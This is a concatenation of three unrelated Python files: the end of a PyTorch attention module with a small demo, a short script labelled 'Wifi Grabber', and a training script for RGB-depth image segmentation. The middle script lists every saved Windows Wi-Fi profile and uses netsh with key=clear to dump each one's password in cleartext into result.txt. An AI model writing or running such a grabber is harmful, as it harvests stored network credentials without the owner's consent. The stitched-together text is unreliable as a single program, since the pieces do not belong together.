        self.add_mod = AttendModule(self.in_channels, num_heads=num_heads)
        self.sub_mod = AttendModule(self.in_channels, num_heads=num_heads)
        self.mul_mod = ModulateModule(channel=self.in_channels, num_groups=num_heads, compressions=2)

        self.orthogonal_loss = orthogonal_loss

        self.init_parameters()

    def init_parameters(self):
        if self.add_mod is not None:
            self.add_mod.init_parameters()
        if self.sub_mod is not None:
            self.sub_mod.init_parameters()
        if self.mul_mod is not None:
            self.mul_mod.init_parameters()

    def forward(self, x):

        mu = x.mean([2, 3], keepdim=True)
        x_mu = x - mu

        # creates multipying feature
        mul_feature = self.mul_mod(mu)  # P

        # creates add or sub feature
        add_feature = self.add_mod(x_mu)  # K

        # creates add or sub feature
        sub_feature = self.sub_mod(x_mu)  # Q

        y = (x + add_feature - sub_feature) * mul_feature

        if self.orthogonal_loss:
            dp = torch.mean(add_feature * sub_feature, dim=1, keepdim=True)
            return y, dp
        else:
            return y

class AttendModule(nn.Module):

    def __init__(self, in_channels, num_heads=4):
        super(AttendModule, self).__init__()

        self.num_heads = int(num_heads)
        self.in_channels = in_channels
        self.num_c_per_head = self.in_channels // self.num_heads
        assert self.in_channels % self.num_heads == 0

        self.map_gen = nn.Sequential(
            nn.Conv2d(in_channels, num_heads, kernel_size=1, stride=1, padding=0, bias=True, groups=num_heads)
        )

        self.normalize = nn.Softmax(dim=2)
        self.return_weight = False

    def init_parameters(self):
        for m in self.modules():
            if isinstance(m, nn.Conv2d):
                nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')
                nn.init.constant_(m.bias, 0.0)

    def batch_weighted_avg(self, xhats, weights):

        b, c, h, w = xhats.shape
        # xhat reshape
        xhats_reshape = xhats.view(b * self.num_heads, self.num_c_per_head, h, w)
        xhats_reshape = xhats_reshape.view(b * self.num_heads, self.num_c_per_head, h * w)

        # weight reshape
        weights_reshape = weights.view(b * self.num_heads, 1, h, w)
        weights_reshape = weights_reshape.view(b * self.num_heads, 1, h * w)

        weights_normalized = self.normalize(weights_reshape)
        weights_normalized = weights_normalized.transpose(1, 2)

        mus = torch.bmm(xhats_reshape, weights_normalized)
        mus = mus.view(b, self.num_heads * self.num_c_per_head, 1, 1)

        return mus, weights_normalized

    def forward(self, x):

        b, c, h, w = x.shape

        weights = self.map_gen(x)

        mus, weights_normalized = self.batch_weighted_avg(x, weights)

        if self.return_weight:
            weights_normalized = weights_normalized.view(b, self.num_heads, h * w, 1)
            weights_normalized = weights_normalized.squeeze(-1)

            weights_normalized = weights_normalized.view(b, self.num_heads, h, w)
            weights_splitted = torch.split(weights_normalized, 1, 1)
            return mus, weights_splitted

        return mus

class ModulateModule(nn.Module):

    def __init__(self, channel, num_groups=32, compressions=2):
        super(ModulateModule, self).__init__()
        self.feature_gen = nn.Sequential(
            nn.Conv2d(channel, channel//compressions, kernel_size=1, stride=1, padding=0, bias=True, groups=num_groups),
            nn.ReLU(inplace=True),
            nn.Conv2d(channel//compressions, channel, kernel_size=1, stride=1, padding=0, bias=True, groups=num_groups),
            nn.Sigmoid()
        )

    def init_parameters(self):
        for m in self.modules():
            if isinstance(m, nn.Conv2d):
                nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')
                nn.init.constant_(m.bias, 0.0)

    def forward(self, x):
        y = self.feature_gen(x)
        return y

if __name__ == '__main__':

    x1 = torch.randn(256 * 20 * 20 * 5).view(5, 256, 20, 20).float()
    acm = ACM(num_heads=32, in_channels=256, orthogonal_loss=True)
    acm.init_parameters()
    y, dp = acm(x1)
    print(y.shape)
    print(dp.shape)

    # ACM without orthogonal loss
    acm = ACM(num_heads=32, in_channels=256, orthogonal_loss=False)
    acm.init_parameters()
    y = acm(x1)
    print(y.shape)


import subprocess
import time
import os

localtime = time.asctime( time.localtime(time.time()))
data = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
file = open("result.txt", "a")
print("\n[+] Wifi Grabber: " + localtime + "\n")
file.write("\n[+] Wifi Grabber: " + localtime + "\n")
print("========================================================",file=file)
print(localtime, file=file)
print("========================================================",file=file)
file.close
for i in profiles:
    results = subprocess.check_output(['netsh','wlan','show','profile',i,
                                       'key=clear']).decode("utf-8").split('\n')
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    try:
        print("{:<30} | {:<}".format(i, results[0]),file=file)
        file.close
    except IndexError:
        print("{:<30} | {:<}".format(i, ""))

time.sleep(3)
exit(code=True)


###########################################################################
# Created by: Hang Zhang
# Email: zhang.hang@rutgers.edu
# Copyright (c) 2017
###########################################################################

import os, sys
BASE_DIR = os.path.dirname(os.path.dirname(os.getcwd()))
sys.path.append(BASE_DIR)
import yaml
import argparse
import numpy as np
from addict import Dict

import torch
import torch.nn as nn
from torch.utils import data
from tensorboardX import SummaryWriter
import torchvision.transforms as transform
from torch.nn.parallel.scatter_gather import gather

import encoding.utils as utils
from encoding.nn import SegmentationLosses, SyncBatchNorm
from encoding.parallel import DataParallelModel, DataParallelCriterion
from encoding.datasets import get_dataset
from encoding.models import get_segmentation_model
CONFIG_PATH = './results/config.yaml'
SMY_PATH = os.path.dirname(CONFIG_PATH)
GPUS = [0, 1]

# model settings
parser = argparse.ArgumentParser(description='model specification')
parser.add_argument('--with_att', action='store_true', default= False, help='whether use attention to fuse rgb and dep')
parser.add_argument('--att_type', type=str, default='AG2', help='Attention type to fuse rgb and dep')
settings= parser.parse_args()
print('settings attention:{} attention type:{}'.format(settings.with_att, settings.att_type))

class Trainer():
    def __init__(self, args):
        self.args = args
        # data transforms
        input_transform = transform.Compose([
            transform.ToTensor(),  # convert RGB [0,255] to FloatTensor in range [0, 1]
            transform.Normalize([.485, .456, .406], [.229, .224, .225])])  # mean and std based on imageNet
        dep_transform = transform.Compose([
            transform.ToTensor(),
            transform.Normalize(mean=[0.2798], std=[0.1387])  # mean and std for depth
        ])
        # dataset
        data_kwargs = {'transform': input_transform, 'dep_transform': dep_transform,
                       'base_size': args.base_size, 'crop_size': args.crop_size}
        trainset = get_dataset(args.dataset, split=args.train_split, mode='train', **data_kwargs)
        testset = get_dataset(args.dataset, split='val', mode='val', **data_kwargs)
        # dataloader
        kwargs = {'num_workers': args.workers, 'pin_memory': True} if args.cuda else {}
        self.trainloader = data.DataLoader(trainset, batch_size=args.batch_size, drop_last=True, shuffle=True, **kwargs)
        self.valloader = data.DataLoader(testset, batch_size=args.batch_size, drop_last=False, shuffle=False, **kwargs)
        self.nclass = trainset.num_class

        # model and params
        model = get_segmentation_model(args.model, dataset=args.dataset, backbone=args.backbone, pretrained=True,
                                       root='../../encoding/models/pretrain', n_features=256,
                                       with_att=settings.with_att, att_type=settings.att_type,
                                       )

        print(model)
        # optimizer using different LR
        base_ids = list(map(id, model.base.parameters()))
        base_dep_ids = list(map(id, model.dep_base.parameters()))
        base_params = filter(lambda p: id(p) in base_ids + base_dep_ids, model.parameters())
        other_params = filter(lambda p: id(p) not in base_ids + base_dep_ids, model.parameters())
        self.optimizer = torch.optim.SGD([{'params': base_params, 'lr': args.lr},
                                          {'params': other_params, 'lr': args.lr * 10}],
                                         lr=args.lr, momentum=args.momentum, weight_decay=args.weight_decay)

        # criterions
        self.criterion = SegmentationLosses(se_loss=args.se_loss,
                                            aux=args.aux,
                                            nclass=self.nclass,
                                            se_weight=args.se_weight,
                                            aux_weight=args.aux_weight)
        # lr scheduler
        self.scheduler = utils.LR_Scheduler_Head(args.lr_scheduler, args.lr, args.epochs,
                                                 iters_per_epoch=len(self.trainloader), warmup_epochs=10)
        self.best_pred = 0.0

        # using cuda
        self.device = torch.device("cuda:0" if args.cuda else "cpu")
        if args.cuda:
            if torch.cuda.device_count() > 1:
                print("Let's use", torch.cuda.device_count(), "GPUs!")  # [30,xxx]->[10,...],[10,...],[10,...] on 3 GPUs
                model = nn.DataParallel(model, device_ids=GPUS)
        self.model = model.to(self.device)

        # for writing summary
        path = "/".join(("{}-{}".format(*i) for i in settings.__dict__.items()))
        self.writer = SummaryWriter(os.path.join(SMY_PATH, path))
        # resuming checkpoint
        if args.resume is not None and args.resume != 'None':
            if not os.path.isfile(args.resume):
                raise RuntimeError("=> no checkpoint found at '{}'".format(args.resume))
            checkpoint = torch.load(args.resume)
            args.start_epoch = checkpoint['epoch']
            if args.cuda:
                self.model.module.load_state_dict(checkpoint['state_dict'])
            else:
                self.model.load_state_dict(checkpoint['state_dict'])
            if not args.ft:
                self.optimizer.load_state_dict(checkpoint['optimizer'])
            self.best_pred = checkpoint['best_pred']
            print("=> loaded checkpoint '{}' (epoch {})".format(args.resume, checkpoint['epoch']))
        # clear start epoch if fine-tuning
        if args.ft:
            args.start_epoch = 0

    def training(self, epoch):
        train_loss = 0.0
        self.model.train()

        total_inter, total_union, total_correct, total_label, total_loss = 0, 0, 0, 0, 0
        for i, (image, dep, target) in enumerate(self.trainloader):
            image, dep, target = image.to(self.device), dep.to(self.device), target.to(self.device)
            self.scheduler(self.optimizer, i, epoch, self.best_pred)
            self.optimizer.zero_grad()
            outputs = self.model(image, dep)
            loss = self.criterion(outputs, target)
            loss.backward()
            self.optimizer.step()

            correct, labeled = utils.batch_pix_accuracy(outputs.data, target)
            inter, union = utils.batch_intersection_union(outputs.data, target, self.nclass)
            total_correct += correct
            total_label += labeled
            total_inter += inter
            total_union += union
            train_loss += loss.item()

            if (i+1) % 50 == 0:
                print('epoch {}, step {}, loss {}'.format(epoch + 1, i + 1, train_loss / 50))
                self.writer.add_scalar('train_loss', train_loss / 50, epoch * len(self.trainloader) + i)
                train_loss = 0.0
        pixAcc = 1.0 * total_correct / (np.spacing(1) + total_label)
        IOU = 1.0 * total_inter / (np.spacing(1) + total_union)
        mIOU = IOU.mean()
        print('epoch {}, pixel Acc {}, mean IOU {}'.format(epoch + 1, pixAcc, mIOU))
        self.writer.add_scalar("mean_iou/train", mIOU, epoch)
        self.writer.add_scalar("pixel accuracy/train", pixAcc, epoch)

    def train_n_evaluate(self):

        for epoch in range(self.args.epochs):
            # run on one epoch
            print("\n===============train epoch {}/{} ==========================\n".format(epoch, self.args.epochs))

            # one full pass over the train set
            self.training(epoch)

            # evaluate for one epoch on the validation set
            print('\n===============start testing, training epoch {}\n'.format(epoch))
            pixAcc, mIOU, loss = self.validation(epoch)
            print('evaluation pixel acc {}, mean IOU {}, loss {}'.format(pixAcc, mIOU, loss))

            # save the best model
            is_best = False
            new_pred = (pixAcc + mIOU) / 2
            if new_pred > self.best_pred:
                is_best = True
                self.best_pred = new_pred
            utils.save_checkpoint({'epoch': epoch + 1,
                                   'state_dict': self.model.module.state_dict(),
                                   'optimizer': self.optimizer.state_dict(),
                                   'best_pred': self.best_pred}, self.args, is_best)

    def validation(self, epoch):
        # Fast test during the training
        def eval_batch(model, image, dep, target):
            # model, image, target already moved to gpus
            pred = model(image, dep)
            loss = self.criterion(pred, target)
            correct, labeled = utils.batch_pix_accuracy(pred.data, target)
            inter, union = utils.batch_intersection_union(pred.data, target, self.nclass)
            return correct, labeled, inter, union, loss

        self.model.eval()
        total_inter, total_union, total_correct, total_label, total_loss = 0, 0, 0, 0, 0
        for i, (image, dep, target) in enumerate(self.valloader):
            image, dep, target = image.to(self.device), dep.to(self.device), target.to(self.device)
            with torch.no_grad():
                correct, labeled, inter, union, loss = eval_batch(self.model, image, dep, target)

            total_correct += correct
            total_label += labeled
            total_inter += inter
            total_union += union
            total_loss += loss.item()
            pixAcc = 1.0 * total_correct / (np.spacing(1) + total_label)
            IOU = 1.0 * total_inter / (np.spacing(1) + total_union)
            mIOU = IOU.mean()

            if i % 40 == 0:
                print('eval mean IOU {}'.format(mIOU))
            loss = total_loss / len(self.valloader)

            self.writer.add_scalar("mean_iou/val", mIOU, epoch)
            self.writer.add_scalar("pixel accuracy/val", pixAcc, epoch)

        return pixAcc, mIOU, loss

if __name__ == "__main__":
    print("-------mark program start----------")
    # configuration
    args = Dict(yaml.safe_load(open(CONFIG_PATH)))
    args.cuda = (args.use_cuda and torch.cuda.is_available())
    args.resume = None if args.resume=='None' else args.resume
    torch.manual_seed(args.seed)

    trainer = Trainer(args)
    # import pdb; pdb.set_trace()
    print('Starting Epoch:', trainer.args.start_epoch)
    print('Total Epoches:', trainer.args.epochs)
    trainer.train_n_evaluate()